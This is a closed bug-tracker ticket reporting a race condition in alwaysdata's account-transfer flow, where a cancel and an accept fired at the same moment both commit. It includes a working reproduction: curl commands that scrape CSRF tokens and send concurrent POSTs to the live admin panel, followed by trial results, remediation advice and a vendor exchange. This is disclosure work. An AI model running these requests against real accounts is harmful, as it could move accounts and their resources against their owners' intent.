- Status Closed
-
Assigned To
cbay - Private
Opened by arise01x - 02.10.2026
Last edited by cbay - 02.10.2026
FS#512 - Account-transfer cancel and accept are not mutually exclusive
# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)
Severity: Medium
Affected: `POST https://admin.alwaysdata.com/transfer/<id>/cancel/` and `POST https://admin.alwaysdata.com/transfer/<id>/accept/`
Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the "one pending transfer per account" guard is racy)
Related: #156 ("Block concurrent transfer requests … conflict check", closed fixed) and #151 ("pending invitations invalidated upon transfer", closed fixed) — this report is a concurrency bypass of both guarantees
## Summary
The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner's cancel and the recipient's accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *"The transfer has been cancelled."*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.
Two supporting defects in the same fix family:
1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused ("Select a valid choice. That choice is not one of the available choices." — the account is removed from the form's selectable set while a transfer is pending).
2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.
## Preconditions
Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.
## Steps to reproduce
All requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)
1. A creates a transfer of A's account to B:
```
TOK=$(curl -b jarA -c jarA -s 'https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
curl -b jarA -c jarA -s -o /dev/null -w 'create=%{http_code}\n' -X POST \
-H 'Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
--data-urlencode "csrfmiddlewaretoken=$TOK" --data-urlencode "account=<A account id>" \
--data-urlencode "email=<B email>" --data-urlencode "submit=Submit" \
'https://admin.alwaysdata.com/transfer/add/?_field_type=account'
ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
| grep -o '/transfer/[0-9]*/' | grep -o '[0-9]*' | sort -n | tail -1) # the new pending record
```
→ `create=302`; the record is listed for both parties; B's transfer page serves an accept form.
2. CSRF tokens for cancel/accept must come from each side's `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):
``` TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4) TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4) ```
3. Owner cancels, recipient accepts — fired together (shell `&`; a thread barrier in a script is more deterministic):
```
curl -b jarA -c jarA -s -o /dev/null -w 'cancel=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_A&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/cancel/" &
curl -b jarB -c jarB -s -o /dev/null -w 'accept=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_B&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/accept/" &
wait
```
4. Verify from B's own session: `GET /transfer/add/?_field_type=account` now lists A's account id in the recipient's select, although the owner's cancel returned `302` and A's panel showed *"The transfer has been cancelled."* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A's own select no longer lists the account.)
### Observed (race)
Barrier-based run, 5 trials, fresh record per trial:
```
trial 1: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 2: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 3: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 4: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 5: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
RESULT: 2/5 trials moved the account
```
Earlier runs: 3/3 moved, and 4/4 moved (shell `&`). Overall 9/12 documented race attempts moved the account after the owner's cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient's own `/transfer/add/?_field_type=account` select containing the owner's account id, and the owner's panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).
### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)
```
parallel #0: (302) parallel #1: (302) parallel #2: (200) parallel #3: (302)
PENDING RECORDS: ['5098','5099','5100'] (sequential second create → refused)
```
### Supporting defect 2 — cancel revokes only the named record
With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.
## Impact
- The owner's cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *"The transfer has been cancelled."* while the account and all of its resources move to the recipient.
- The same root cause defeats #156's invariant ("concurrent transfer requests for the same account must be impossible"): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.
- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).
## Remediation
- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state='cancelled', … WHERE id=? AND state='pending'` and treat `rowcount == 0` as "already consumed" (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.
- `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one.
- Enforce "one pending transfer per account" with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form's choices.
- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
If a transfer has been accepted, the account will be transferred. Someone else refusing the transfer at the exact same time is irrelevant.
Kind regards,
Cyril
Thanks — but this isn't a case of an accept winning while a cancel is irrelevant; it's a conflict-check failure where both operations commit.
▎
▎ Sequentially there is no accept priority: whichever commits first wins. Accept first → the later cancel returns 403; cancel first → the later accept returns 404. In the concurrent case both return success: the cancel returns 302 and the owner's panel shows "The transfer has been cancelled.", while the same-instant accept also returns 302 and the account moves. Both-committing is impossible under either rule — it is the non-atomic state-transition class you already fixed for the reset token (#279) and the transfer conflict check (#156).
▎
▎ That window is precisely what the cancel exists for: the owner's cancel is the last revocation step — once the transfer completes the owner cannot undo it (only the new owner can transfer back). In the scenario this endpoint protects against — a transfer mistakenly sent to the wrong user, the owner cancels promptly, the recipient accepts on their side at the same instant — the account moved in 9 of 12 recorded collisions (3/3, 4/4, 2/5 across runs) while the owner was told the cancellation succeeded.
▎
▎ This is the same class as #151 and #156 ("valid and fixed"), where an acceptance landing out-of-time in the transfer flow moved ownership against the owner's intent — the difference here is only that the gap is the cancel/accept window instead of a stale invitation.
▎
▎ Fix: one atomic compare-and-set on the record state (UPDATE … WHERE state='pending'; rowcount=0 ⇒ the loser sees the true outcome). Separately, the report's two supporting defects (parallel creates still yield duplicate pending records; cancel revokes only the named record) are the same missing conflict check. Happy to retest after any change.